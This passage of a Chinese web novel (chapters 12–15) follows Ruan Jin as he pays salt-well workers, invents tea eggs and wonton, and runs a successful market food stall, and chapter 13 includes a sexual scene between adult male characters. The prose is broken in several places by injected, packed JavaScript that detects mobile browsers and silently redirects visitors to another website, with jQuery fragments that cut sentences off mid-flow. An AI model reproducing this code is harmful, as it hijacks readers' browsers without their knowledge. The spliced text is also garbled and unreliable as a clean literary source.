阮锦点了点头,说道:“刘叔,让大家歇歇吧!我给大家发工钱,这个月让大家久等了,每人多发十文。” 旁边的工人一听,眼睛都亮了。 这边的普通力巴一个月八百文,煮盐和晒盐的老人儿一个月一千文,管事的刘叔一个月一千两百文。 阮大郎仗义,这在整个桃花镇,乃至整个郡城来说都算是高薪水。 而连福之所以拖着不给他们发工钱,就是想把他们的工钱克扣一部分,给他们降薪降到五百文。 阮锦自然不会这么做,他算是新接手,正是施恩的时候。 而且盐井的盈收不低,每个月少则五六十两,多则上百两,在整个桃花镇来说也是富户了。 刘叔远远的喊着:“发工钱了!发工钱了!大家快来排队领工钱了!” 正在忙碌的工人们一听发工钱了,都高兴的放下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785404|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的活儿跑了过来,自觉的排好了队。 阮锦则给四儿使眼色,让他把腌好的那一百多个茶叶蛋端下来。 阮锦一边看着账本上的薪资数,一边对着名单,一边对大家说:“这个月真是辛苦大家了,出了这样的意外,也是因为我没能及时处理。这个月每个给大家多发十文,当是给大家赔不是。还有我自己腌的茶叶蛋,每人发十个,请大家尝尝鲜。” 工人们闻言一个个脸上露出了喜色,七嘴八舌的开始感谢阮锦。 刘叔排到了队尾,也大声的对大家说:“锦哥儿少爷确实了不起,几下就把连福给赶走了。他不光交了账本,交了这个月的盈收,怕是以后再也不敢来闹事了。” 工人们一阵欢呼,有的则骂骂咧咧:“那个连福,仗着和阮二郎有亲戚关系跑来这里指手划脚。这盐井明明是阮大哥的,有他们什么事!咱们早就看不惯了,还好小少爷来了。否则,真担心这盐井被他们占了。到时候咱们恐怕连工都做不下去……” 阮锦一一把工钱和茶叶蛋发给他们,安抚道:“大家别担心,盐井他们拿不走。地契和文契都在我手上,我不给他们,他们怎么可能拿得走。” 其实记忆里,原主的确是主动把地契过给阮二郎和际三郎的。 他可能是怕了他们的威胁,身为一个哥儿,很怕没有娘家人撑腰,更怕在村子里混不下去。 他们连哄带骗带威胁,把原主的家资骗了个精光,还吞了原主的聘礼。 阮锦觉得这个金手指也挺好,能预测部分未来的剧情发展,能规避一下不好的事情。 给大家发完薪水,阮锦又道:“大家尝尝这茶叶蛋腌的怎么样?入没入味儿?” 刘叔第一个剥了一个,乐呵呵道:“他们呐,哪里舍得吃哟,怕不是要带回去给老婆孩子吃。” 阮锦明白了,这些工人也都是要养家糊口的,都是家里的顶梁柱,可能一个人的薪水要养活一家老小。 鸡蛋也是好东西,他们舍不得自己吃。 阮锦笑道:“可以尝一个嘛,让我看看,我做的茶叶蛋味道怎么样。” 刘叔咬了一口,眼神立马不一样了,点头道:“这……好吃!真的好吃!你们都快尝尝,快尝尝啊!不吃会后悔的!” 有年轻人已经开始剥蛋皮了,在阮锦鼓励的眼神下,他们也咬下了第一口。 随即,众人赞不绝口的声音纷纷传来:“哎呀,真的好吃!这蛋里竟然真的有淡淡的茶叶味儿。” “的确的确,好吃,怎么做的?也太好吃了!” “我的天呐,小少爷,你真了不起,这鸡蛋做的太香了!” “确实好吃啊!这要是拿去卖,还不得卖两文一个?” …… 阮锦渐渐迷失在大家一声声的夸赞里,心想真有那么好吃吗? 那他可就有了摆摊的想法了,不如在八宝酱菜之外,再添一个茶叶蛋吧! 旁边还能再摆一个面摊,配上茶叶蛋和八宝酱菜,指定好吃~! 12. 第 12 章 今天收完了账,阮锦便打算回他们租住的院子,可阮家村的家里还有不少东西没取回来。 牛、羊、鸡、鸭,这些家禽家畜卖掉也能值不少钱。 四儿看出了院锦的心思,说道:“这样啊少爷,明天我们五个一起去把它们带过来。牛羊干脆卖掉,鸡鸭什么的,少爷你要不要养着吃?咱们自家养的,总比外面买的好一些。” 阮锦想了想,点头道:“也好,明天你们就跑一趟。” 他不想回去和那些人扯皮,小五义回去,他们应该不敢拿他们怎么样。 回到出租房,阮锦便看到院子里堆了不少小五义们新买回来的蔬菜。 那一箩筐一箩筐的,有白菜、萝卜、茄子、胡瓜等,一水儿的新鲜脆嫩,看着就讨人喜欢。 桃花镇气候宜人,特别适合农作物的生长,尤其是夏天的时候,各种蔬菜水果就都下来了。 阮锦看着这些新鲜的蔬菜,做菜的兴趣马上就来了。 他爱做菜,也爱吃,尤其是看到好的食材,更容易勾起他做菜的欲望。 一旁阿大拿着名单在一个一个的对,阮锦接过看了一眼那名单,忍不住笑了起来,那哪是写的字,分明就是画的一个个的潦草象形图。 不识字确实麻烦了些,不如后面干脆开个识字班,让他们也认认字。 阮锦干劲十足,吩咐道:“四儿,带大家把这些蔬菜都洗干净,再去买些鸡蛋过来。对了,再买两袋面粉,明天咱们试营业一天。” 只是他们转了一天,也没找到合适的店铺,阮锦便决定去集市上摆一天的地摊。 阿大和阿二是把子干活儿的好手,他们很快便把所有蔬菜都洗干净了,三儿则在旁边切,按照阮锦的吩咐切成块。 阮锦则开始熬制腌酱菜的酱料,这些材料都是常见的,花椒八角等香料,说起来也没什么特别的,只是阮锦家传的宫廷秘方有两处不同,一个是加了野生的菌菇。 桃花镇依山傍水,别的不少,山菌再多不过,尤其是大朵大朵的香菇,切成小丁煮到酱料里,酱菜自有一股子香味儿。 还有一处就是加了一些猪油渣,把猪肥膘熬出猪油,剩下的猪油渣碾碎,最后拌进酱菜里,更是提鲜又给酱菜增加了咀嚼时的层次感,脆爽中又带了几分酥香。 阿蛮见阮锦在那里忙碌,也凑过来给他帮忙。 阮锦没有嫌他添乱,而是耐心的让他帮忙在一旁烧火。 阿蛮学东西很快,一张英俊的冷脸十分认真,面无表情的看着灶里的火,仿佛面对阶级敌人一般。 阮锦被他的表情给逗笑了,说道:“阿蛮,放轻松一点,只是烧个火,不是让你上战场。” 听到战场两个字,阿蛮的表情里又露出了几分迷茫。 不过那迷茫也只持续了数秒,便继续用烧火棍开始添柴。 香料熬煮了半个时辰,放凉后便开始腌制酱菜。 酱菜的腌制并不麻烦,将切好的蔬菜放入大盆中,加入适量的盐,拌匀后腌制一个时辰,腌出蔬菜里多余的水分。 腌制完成后,再将蔬菜捞出,用清水冲洗掉多余的盐分,沥干水分备用。 再将沥干的蔬菜放入他们提前准备好的腌菜缸里,倒入放凉的腌料,让腌料没过蔬菜即可。 这样,就可以盖上木盖,封罐腌制了。 一般要腌制两天以上才能开始吃,但他们把蔬菜萝卜什么的切得块小,根据阮锦的经验,腌十五个小时以上就能吃。 所以,明天下午这八宝酱菜就能出摊了。 不过如果让腌料更入味,阮锦还是打算腌它个二十四小时以上。 明天便去探探这集市的情况,看看这边人的口味如何。 一行人忙碌到天色渐晚,阮锦便让大家不要走了,留下来一起吃晚饭。 如果明天真去出摊,那只做面是不是单调了些? 他父亲的小餐馆里,早餐一般是小笼包和烧麦还有馄饨和面。 不如就今天晚上再包个馄饨给大家尝尝,这样明天大家也能对即将要摆摊的东西有一些了解。 于是阮锦便吩咐道:“四儿,你去买些瘦肉回来,咱们今天晚上做点好吃的。” 四儿应道:“好啊少爷,你是不是又有什么奇思妙想了?” 阮锦卖了个关子:“等晚上做好了你们就知道了。” 四儿很快便跑去集市上称了两斤猪精肉,五人七手八脚又开始忙碌,阿大剁馅儿,三儿和面,四儿切葱,众人忙完后,阮锦便开始调馅儿。 馄饨好做,前面的步骤和擀面差不多,只是擀面要切成条状,馄饨皮则要切成梯形。 馄饨馅儿也简单,油盐葱花椒粉放进去后又把剩下的猪油渣也切碎了扔了进去。 还在调馅儿的时候小五义就开始流口水了,四儿一惊一乍的说道:“少爷,这也太香了!你是要做胡饼吗?” 阮锦又想起来了,馄饨的起源是在汉代,而现在还没到汉,但汉代也只是用来祭祀的食物,到了宋代才开始成为寻常百姓家的吃食。 阮锦擀着皮儿,一边切好馄饨皮一边道:“这个,叫馄饨,用薄薄的皮包上馅儿再煮熟了,好吃的很!” 三儿和四儿都很好奇,他们围了过来,看样子也想学。 阮锦给他们一人一张馄饨皮,说道:“来来来,我来教你们,这样学得更快。” 三儿和四儿学着阮锦的样子,把馅儿放到皮上,一卷,一折,一捏,一枚漂亮的燕窝状馄饨便包好了。 阿大和阿二也很好奇,阿大喊了一句:“这么好看呢?这比街上点心铺子做的面点还要好看。” 阿五则在一旁探头探脑,他在外面疯跑了一天,玩得灰头土脸,本来正和阿蛮坐在一起看他雕木雕,这会儿看到哥哥姐姐们在包馄饨,这才好奇的围了过来。 阮锦笑道:“好看吗?这才哪儿到哪儿,明天我再给你们包个包子饺子的,那更好看。” 他父亲是专业的面点传承大手,包子包的那真真是皮薄大馅儿十八个褶,就像一朵花儿一样。 四儿更惊奇了,心中满满的不解,少爷不光像是变了一个人,还会了好多好多从前不会的东西。 他觉得是阮大叔在天之灵显灵了,这才让少爷变成了这么全能的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甚至小五义那四个人走的时候还有些依依不舍,拍着胸口朝阮锦表忠心,说他们这辈子跟定他了,只要有馄饨吃,哪怕不要工钱。 不给工钱是不可能的,阮锦明天就打算预支给他们一个月的工钱,先让五儿去学堂再说。 要不这小子天天跟在阿蛮身边招猫逗狗,怕是要学成熊孩子。 小五义走之前把所有饭后的狼藉都收拾好了,四儿烧了热水,问他要不要洗澡。 阮锦便带着阿蛮简单的洗了一下,夏天不洗澡真的很要命。 四儿也自己去洗漱了,很有眼力见儿的没有打扰他们新婚的小夫夫。 结果一关上门,阿蛮就兴高采烈的拿了个木头盒子给他,说是要给给他一个礼物。 阮锦心想,难道又雕了小蝴蝶? 他接过,打开盒了一看,竟是早晨看到的那个半成品的大人机! 此时的大人机已经是个成品了,雕的惟妙惟肖,和小人机身上那根一毛一样,就连毛毛的生长轮廓都没有丝毫的偏差! 13. 第 13 章 阮锦看着那个成品大人机整个人亚麻呆住了,心想这小人机的脑回路到底是什么样的啊啊啊! 这到底是谁教他的,想这背后必有妖人指点。 阮锦的唇角风中凌乱,抬头问阿蛮:“可不可以告诉我,为什么要送我一个……大阿蛮?” 阿蛮羞涩的对他笑了笑,只说了两个字:“喜欢。” 阮锦:…… 他那意思是,他喜欢把他的大阿蛮给我,所以要雕一个一模一样的,表达他这个作者对炒我这件事的思乡之情? 阮锦用手压下乱窜的唇角,把大阿蛮收进了盒子里,一脸郑重的说道:“这个东西十分重要,夫郎我一定会好好珍藏的!” 说着他起身,又把装着大阿蛮的盒子收进了柜子里。 阿蛮看上去十分高兴,他拉着阮锦的手,脉脉含情的看着他,那表情仿佛是在说:阿锦收了我的大阿蛮,他一定也非常喜欢我! 他脸上的兴奋溢于言表,比刚刚被阮锦捡到的时候生动了许多。 只是如果他的手没有急于去解阮锦的腰带,阮锦会更为他高兴的。 小傻子好像对这件事十分热衷,每天晚上都要做,做起来就停不下来,折腾的阮锦痛并快乐着。 其实,他倒是不排斥这件事,只是阿蛮看上去挺精壮,会不会夜夜如此,虚耗了他的身子? 还没等阮锦思考出个所以然来,小傻子便把他打横抱了起来,抱着他回到了温软的床帐内。 阮锦心想绝了,人机夫君怎会如此? 不过他高兴就好,其实想来阿蛮这样傻乎乎的,自己招赘他的时候也并没有问过他的意愿,如果他醒来,不喜欢自己的强取豪夺,如果他要离开,自己也定然不会拦着他。 大不了去父留子,孩子他自己生自己养,是万万不会给他的。 在阮锦脑子里乱七八糟的时候,阿蛮轻轻松松便破开他的心防,走入让他倾心相见的桃源深处。 阮锦下意识诶了一声,心想你这个家伙,真是连个商量都不打啊。 为什么会这样,我他娘的是直男啊,这就已经适应了和男人在一起了吗? 阿蛮的唇吻了下来,月色之下,英俊的男人下颌线蜿蜒立体,让阮锦忍不住心向往之。 心脏忍不住一阵悸动,心想这个男人这么帅,竟然被我谈上了。 阮锦的脸颊烧得厉害,他抬起胳膊搂住对方的脖子,阿蛮十分自然的吻住了他的唇,而且十分聪明的学会了法式吻。 他不光轻轻吸着阮锦的舌,还轻轻咬了咬,那种感觉让阮锦的心神激荡,简直比大被同眠还让他觉得心乱如麻。 此时的他脚踝上的银铃声在夜色里隐约传来,伴着茶几碰撞的声音,似是有情人深夜的呢喃,又似是那帷幕中嘈切的交响乐。 阮锦情到浓时,低声问了一句:“阿蛮,喜欢我吗?” 英俊的男人眼中露出迷茫,反问:“喜欢?” 阮锦低低的笑,心想小傻子,他不懂,阮锦却懂。 他凑到阿蛮的耳边,借着情到浓时的胆量,沙哑着嗓子喊了一声:“老公,我好喜欢你。” 嗯,怎么说呢,他哥儿的身体,可以十分轻易的接受男人对他的亲密接触。 而且眼前的男人从脸到身材都可以说是极品中的极品,倒三角、人鱼线、公狗腰、搓衣板般的八块腹肌,每一处都充斥着极强的性张力。 阮锦承认他是肤浅的,从前他想成为阿蛮这样的男人,如今只想让这样的男人把他紧紧的抱在怀里。 可能是阮锦刚刚那句话刺激到了阿蛮,虽然他不懂那是什么意思,却能听出那语调里的诱惑。 哥儿在这种时候,身体是会散发一种类似催情物质的香气的,这种香气似是信息素,能让男人沉溺其中无法自拔。 阿蛮的吻雨点般的落在阮锦的身上,脖颈、胸腹、脚踝,以及他那纤瘦嫩滑的小腿上。 亲吻不知过了多久,阮锦的大脑更是空白了一瞬又一瞬,直至大脑彻底关机。 这一夜不出意外又睡得特别沉,本来应该很累的,可这深度睡眠让他的全身心都得到了彻底的休息。 可能哥儿得到了滋养,气血也更充足了,一睁眼便觉满血复活。 再一抬眼,阿蛮的睡颜就在他眼前,这家伙终于没有早起,昨晚还真是辛苦他了。 他抬手在他俊美的五官上描摹着,男人浓眉如剑,鼻梁似峰,唇峰分明,唇珠饱满,面庞没有任何硬伤,就是硬帅,简直像是漫画里走出来的顶级Alpha。 这样的五官,搭配这样的脸型,让阮锦忍不住想,他该不会真是一个世家公子吧? 毕竟只有有钱人家,精挑细选的基因里,才能生出更加漂亮优秀的孩子。 阮锦随即又推翻了这样的想法,其实也未必,历史上十大美男之一的韩子高,也只是普通农人出身,还不是美貌冠绝史册。 就在阮锦发呆的时候,一双骨节分明而修长的大手把他停滞在对方脸上的手握住,星眸微张,让怔愣的阮锦仿佛错觉一般的看到了一双睿智的眼睛。 直到那双眼睛完全张开,人机感霎时间又回来了,阮锦当即回过神来,乐呵呵的对阿蛮道:“早啊!” 阿蛮把阮锦搂进怀里,肌肤贴着肌肤,温热熨烫着阮锦,低低的声音传入阮锦的耳中:“阿锦……早上好。” 阮锦勾起唇角,抬头在他下巴上亲了一口,心里甜滋滋的。 心想自己也是好起来了,母胎单身二十年,如今也是谈上顶级alpha的人了。 怎么办,有点喜欢,虽然昨晚生理上喜欢了,今早醒来心理上也有点喜欢。 阮锦把脸埋进蚕丝被里,门外便传来了四儿的声音:“少爷,你醒了吗?阿大他们都来了,东西也都准备好了,咱们不是说今天一早去集市上摆摊吗?” 阮锦立刻收起自己发散的思维,一边起身一边道:“好,来了,我马上就好。” 阿蛮却一把搂住他,显然舍不得让他离开。 阮锦叭唧在阿蛮的脸上亲了一口,说道:“阿蛮乖,我们一起去集市上摆摊赚钱好不好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785406|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候,就可以给阿蛮买最好的木头,做更多漂亮的木雕了!” 阿蛮哦了一声,乖乖的开始起床洗漱。 阮锦其实早就发现了,虽然阿蛮摔傻了,可他的生活习惯非常好,每天都会把自己收拾的干干净净。 洗脸,梳头,束发,还会把衣服穿得整整齐齐。 只是由于最近事多,阿蛮的身上仍然只有他来时穿的那一套锦衣。 他想了想,又道:“今天如果赚到钱,就先给阿蛮买一套衣服,可好?” 这一点阿蛮倒是没有什么期待的,他也只是乖乖的点头:“好。” 阮锦看着他可爱的模样,忍不住就想捏一捏他的脸,可惜他的脸部肌肉紧绷,捏上去没什么手感。 不像他,十八岁的他尚未褪去婴儿肥,捏着就很舒服。 原主的长相其实和他是有几分相像的,只是偏清秀挂,还多了那么几分艳丽。 很快,两人便穿好了衣服,阮锦换了比较便于劳作的短装,看上去竟有几分古灵精怪的气质。 他一出门,就看到阿大手上端着肉馅儿,阿二挑着扁担,三儿背着竹筐,里面放着锅碗瓢盆。 四儿则推了一个手推车,上面是集市上专供餐点商贩使用的火炉。 阮锦看他们准备得这么齐全,竟比他这个发起人还积极,瞬间也觉得干劲满满了起来。 他一声令下,说道:“那还等什么?咱们去早市吧!” 古人日出而作,日落而息,此时天色将明未明,还不到吃早餐的时候。 阮锦跟随阿大他们来到了早市,桃花镇的早市非常热闹,只因着这里有一个官道,算是南下北上的必经之地。 官道两侧是林立的商铺,还有一片开阔之处可供摆摊。 虽然看上去不算多么的豪华整洁,却是十分热闹的。 往来的行人络绎不绝,杂耍卖艺的、摆摊卖菜的、人市、畜市、杂货五谷,各种货品琳琅满目应有尽有。 倒是也有食肆和食摊,只是品类比较单一,多数都是粥类或者饼类,还有一些胡人在卖馎饦。 馎饦是渊朝以后才开始在华国地区盛行的食物之一,到大唐后成为了普通百姓常吃的家常主食,也可以叫面片儿汤。 其实就和后来的面条差不多了,只是还是有区别的。 阿大一早就看好了位置,带着阮锦在一片人流量大的空地放下扁担,布置好了摊位。 三儿把桌案和登子摆好,便开始和面,按照昨天阮锦教他们的,按部就班的做起了面条和馄饨。 周围有摊贩看着好奇,都朝他们这边看了过来,还有人问:“哟,哥儿,这是打算卖什么?” 阮锦笑答:“大哥看着,待会儿保证让你撑得连路都走不动。” 那位卖草鞋的大哥轻笑一声,说道:“我这卖一天草鞋也就赚个十几文,可买不起你这带荤腥的东西。” 阮锦道:“买得起,买得起,小碗三文六个,中碗五文十二个。若是想吃饱,可以来个大碗,七文十五个,我们还多送一个。” 14. 第 14 章 卖草鞋的大哥有些心动了,他把挂着草鞋的木架子往地上一放,上前问道:“真的假的啊?听着倒是不贵啊!” 阮锦答:“听着确实不贵,若是只想尝尝鲜,三文钱根本算不了什么。您这一双草鞋怎么也得三文了吧?不如大哥待会儿卖双草芏,来尝尝我们的馄饨?怕只怕你家里的夫人查账啊!” 大哥乐呵呵一笑,说道:“我光棍儿一条,哪有人查账。行,你都这么说了,那我还真得好好尝尝。” 阮锦应道:“好,那就祝大哥今日多卖几双草鞋。” 在古代,不是所有家庭都能买得起鞋的,穷苦百姓家很多都是穿草鞋。 普通麻质或者丝质的鞋一双几十到几百文不等,但是一双草鞋却只要几文钱,可以大大的节约生活成本。 阮锦看着那草鞋,看上去似乎是用麻绳编制的,应该挺结实。 不知道是不是阮锦的嘴开了光,那卖草鞋的大哥不一会儿就连卖了三双草鞋。 他乐呵呵的又把自己的草鞋架子扔到了地上,说道:“哥儿,今天我这小生意做的还不错,你给我来一碗吨吨尝尝。” 阮锦给他给逗笑了,前仰后合道:“这叫馄饨,不叫吨吨。大哥你等着,三儿快给大哥盛一碗。” 三儿应道:“来了来了,大哥您这边坐。” 卖草鞋的坐了下来,三儿开始利落的煮馄饨,煮完按照阮锦昨天的配方,里面加上芫荽、猪油、一点点猪油渣,热汤一滚,香味儿便飘了老远。 往来的行人也忍不住驻足,开始好奇这边卖的什么。 三儿煮了六个馄饨给他端了过来,那大哥接过馄饨,拿了个勺子,先是闻了闻便忍不住开始流口水。 他也是穷苦人,平日里是不舍得吃带肉的食物的,草鞋一天最多编个三五双,三文钱买一斤谷,够吃一天了。 而且这草鞋也是有时令的,只能卖个春夏热的季节,天儿冷了基本就没人穿了。 能花三文钱尝尝鲜,已经是大哥难得的奢侈一把。 他试探的咬开馄饨皮,滑软的外皮连嚼都没嚼,就这么滑进了嗓子里。 紧接着,肉馅儿的鲜香便传进了口腔和鼻腔,大哥一口吞掉一个馄饨,嚼了又嚼才舍得咽了下去,当即朝阮锦伸出一个大拇指:“哥儿,好吃,我这辈子还没吃过这么好吃的东西!再给我来一……不,给我来三碗!” 阮锦轻笑,说道:“大哥就换大碗吧!七文钱一大碗,给您十五个。” 卖草鞋的大哥重重的点头:“好好好,那就给我来一大碗!” 说着他掏出了七文钱,放到了桌子上,刚刚卖草鞋赚的,还没揣热乎。 阮锦收了钱,又对三儿道:“大哥给咱们开了张,那就多送一个,就给他煮十六个好了!” 三儿应着,迅速的开始煮馄饨,又给那卖草鞋的大哥煮了十个。 这时,围观的行商客们终于按捺不住了,纷纷上前对阮锦道:“来一大碗儿!一定要一大碗儿!” 阮锦招呼着大家坐下,热情的招呼道:“都有都有!大家别急,咱们包得快着呢!” 阿大在一旁和面,阿二烧火,四儿包,三儿煮,就连五儿都帮忙搬凳子收拾桌子洗碗添柴的打着下手。 不一会儿的工夫,三张桌子便全被坐满了。 竟还有食客来问,阮锦没办法,只能先让大家排队。 有的食客则并不介意,只道:“不防事的哥儿,咱们蹲地上吃就行,你给咱们煮好了。” 阮锦应道:“好好好,三儿,换大锅,多煮些。” 就这样,阮锦带着小五义忙碌了一个上午,竟把买来的肉馅儿全卖完了。 后面的客人却仍在排队,阮锦只能略带歉意的朝大家说:“不好意思,今天的馄饨卖完了,明天我们还会在这里摆摊。感谢大家捧场,明天尽量多准备些食材,让大家吃个够!” 后面的客人却都不乐意,有人问:“你这做生意的,备货备的也太不齐全了,不如再去买些?” 阮锦道:“就怕大家等不得,剁馅儿再调馅儿再包出来煮好,怕是得小半个时辰才能吃上呢。” 来来往往都是赶路行脚的,谁也不可能等他那么长时间。 阮锦想了想,又道:“不过,有别的,客官吃吗?” 客人问:“哦?什么?” 阮锦答:“青菜鸡蛋面,也是三文钱一碗,管饱!” 客人显然对他这个小食摊十分感兴趣,毕竟稀罕的吃食大家都想尝尝,民以食为天,谁不想吃好吃的呢? 客人捏着胡须点了点头,应道:“好吧!给我来一碗尝尝!” 阮锦应道:“好嘞!阿大擀面,四儿炒个鸡蛋卤子。哎呀!我是忙晕了,怎么忘了把茶叶蛋拿出来了?快快快,阿三,把咱们的茶叶蛋摆上。” 不光阮锦忙晕了,其余人也忙得晕头转向。 毕竟他们也没想到,第一天摆摊就能有这么多人,能赚这么多钱。 三儿赶紧把茶叶蛋摆了出来,招呼道:“饿了的客官可以买几个茶叶蛋尝尝,一文钱一个,便宜。” 古代的一文相当于现代的一块钱,生蛋的成本也就几毛钱,卖一块钱定是赚的,虽然利润不高。 有好奇的客人过来买了两只,三儿给他们捞了放进碟子里,那客人便剥了皮开始吃,这一吃不打紧,当即掏出三十文钱来,说道:“给我装三十个放油纸袋里,我带着路上吃。” 在排队等面的客人一见这情况,又开始来抢茶叶蛋,一共腌了不到二百个茶叶蛋,不一会儿的工夫就被抢光了。 三儿都懵了,她看着眼前箱子里半箱子的铜钱和碎银,心想阮少爷莫不是财神爷转世?怎么这么快就能赚这么多钱? 不过阮少爷做的食物的确好吃,这茶叶蛋,让她天天吃她都吃不够呢。 还有这馄饨,她一个不重口腹之欲的人,昨晚都吃撑了,实在是太好吃了。 所以不怪阮少爷能赚钱,他做的东西确实好吃。 这么看着这些食物,她竟一点都不羡慕去过临江阁的仙儿了,她觉得阮少爷做的菜,肯定必临江阁的好吃! 一旁,第一锅面出锅了,那面薄薄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785407|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片,细如草叶,长长一条,难怪叫面条。 四儿炒的卤子味道也很鲜美,他把包馄饨剩下的一点点肉沫炒了进去,放了大酱和青菜,打了鸡蛋,最后还放了一把韭菜,鲜美的滋味就这样迅速的飘了出来。 闻到这香味儿,路过的客人又开始驻足,纷纷观望是哪里传来的香气。 一看是一个小食摊,一问三文钱一碗,当即又排起了长队。 这一碗一碗又一碗,可把阮锦和小五义们累的不轻,好在快到黄昏的时候集市就差不多该散了。 这个时候的大渊是有霄禁的,虽然在这种小县城里霄禁其实并不是很严格,但是古人日出而作日落而息,黄昏时集市上的人们也都各自归家的归家,投宿的投宿了。 阮锦揉着酸痛的肩膀,带着小五义收拾东西回了租住的小院儿。 由于忙了一天,答应阿蛮的衣服也没买,阮锦挺不好意思的。 好在小人机并不记得这件事,只是坐在秋千上雕着他的木雕,旁边还坐了一个同样傻乎乎的阿五,手上也拿了个刻刀,似乎是在学着怎么雕。 阮锦没有打扰这俩树先生,而是把那一大箱子的铜钱倒了出来,稀里哗啦倒了一包袱。 他乐呵呵的叫过了小五义其他四个成员,说道:“好了,咱们数一数,今天一共赚了多少钱。” 这一箱子的铜钱,少说也得有两三千文。 几个人的眼睛都亮了,他们拿了根细麻绳,开始数铜钱。 数完后刚好两千五百文,看得阿大他们艳羡不已,直呼这辈子都没见过这么多钱。 阮锦却将其中的一千五百文交给了三儿,说道:“听说是你管账,这是你们这个月的工钱,提前预支给你们。明天记得送五儿去学堂,不能再这么让他在集市上跑了。” 正在学雕刻的五儿抬头四顾心茫然,心想就这么把我送学堂里去了? 没必要吧!我能不能不去? 可是如果不去,大哥会把我屁股打烂的吧? 算了,得听大哥的,大哥要听阮少爷的,啊啊啊还是得去学堂! 三儿和阿大阿二对视着,都是一脸懵,他们没想到,阮少爷竟然如此慷慨仗义,就这么把这个月的工钱发给他们了? 这可是一千五百文,从前他们在码头扛大包,一个月能领到三百文就算多的。 阿大和阿二的眼泪瞬间就出来了,他们拉着三儿扑通一声跪到了地上,吓得阮锦朝一边跳去。 心想你们能不能别这样,我还小,当不起你们这么一跪啊啊啊! 阮锦嚷嚷着:“四儿!快快快快快把他们扶起来!” 阿大阿二和三儿却硬是跪着不起,阿大一边擦眼泪,一边硬生生往回憋,却怎么憋都憋不回去,却是一脸的坚定,他说道:“阮少爷!你就是我们的再生父母!以后哪怕是刀山火海!我阿大豁出去这条命,也愿意为你肝脑涂地!” 阮锦心想,这就刀山火海了? 从前觉得古人一饭之因都要报属实夸张了,如今看阿大他们的表现,阮锦更觉得这些古人真的很讲义气 。 15.第 15 章 三儿温温柔柔的开口:“阮少爷,您就让我们跪吧!其实,您何止是我们的再生父母。四儿偷着接济我们多少次,您都是睁一只眼闭一只眼的。如今又给我们这么好的营生,我们也只是跪一跪,并没有做什么。我们几个从小没爹没娘,最难的时候,我……我都要去卖身了。上次阿二受伤,也是因为缺医少药,差点没救回来……” 四儿的眼睛大睁,问道:“三姐,为什么不告诉我?” 三儿叹息:“你已经为了我们操了那么多心了,这件事再麻烦你,那我们还是人吗?我们当时……也是不想让你为难。” 四儿气极了:“所以就逼到你去卖身吗?” 三儿苦笑一声,说道:“四儿你别生气,也只是卖去大户人家做丫鬟,不是你想象的那样。” 虽是如此,四儿的脸色仍然不好看。 三儿又道:“如今您能收留我们做工,还给我们这么多工钱,我们当然愿意为您鞍前马后,死生不计。” 阮锦上前,挨个儿把他们扶了起来,表情十分严肃的说道:“死生不计那就太严重了,生命对所有人来说都只有一次,不论任何时候,都要把活下去当成第一件头等大事。再说了,你们给我打工,我给你们发工钱,这不是天经地义的么?不过,既然你们说了要报答我,那我也不能拒绝。不如你们以后就做我的心腹,帮我把生意做大做强,食肆开遍整个桃花镇,如何啊?” 四儿惊讶道:“开遍整个桃花县?少爷,你的想法竟然那么远大的吗?” 阿大的脸上却充满了信任,点头道:“我相信阮少爷可以的!一天他都能赚到旁人半年才能赚来的钱,别说是开遍整个桃花县,开遍整个郡城也是有可能的!” 阿二更实在,直接道:“开遍整个大渊!到时候不论我们去哪里,都能吃上阮少爷的馄饨!” 三儿笑了,说道:“整个大渊算什么,要开就开遍整个华夏,到时候我们也可以去幽国,去越国!少爷这么厉害,一定能做大生意。” 阮锦受不了他们打趣了,一边放声笑着一边道:“你们几个,也不怕风大闪了舌头。不过饭得一口一口吃,生意也要一点一点做。等到咱们的生意做大了,再考虑别的事。不过眼下,我倒是真有一件事想请你们帮忙。” 四儿当即开口问道:“少爷是想让我们把家里的那些东西搬过来吗?那没问题,大哥二哥别的不行,倒是练了一身力气。我们四个回去,定能帮你把家完完整整的搬过来。” 阮锦心想不愧是四儿,果然了解他,他点了点头,说道:“那真是太好了,那些牛、羊、鸡鸭的,总得带回来。哪怕是拿去集市上卖掉,估计也能卖不少钱。” 